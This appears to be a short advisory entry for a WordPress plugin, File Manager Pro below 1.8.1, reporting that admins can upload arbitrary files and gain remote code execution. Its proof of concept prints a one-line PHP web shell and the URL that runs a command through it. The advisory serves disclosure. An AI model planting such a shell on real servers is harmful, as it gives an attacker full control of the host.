WordPress Plugin Vulnerabilities
File Manager Pro < 1.8.1 - Admin+ Remote Code Execution
Description
The plugin allows admin users to upload arbitrary files, even in environments where such a user should not be able to gain full control of the server, such as a multisite installation. This leads to remote code execution.
Proof of Concept
As an admin, use the File Manager UI to upload a file `shell.php` with the following contents: <?php echo system($_GET['cmd']); Visit `/shell.php?cmd=id` to trigger RCE.
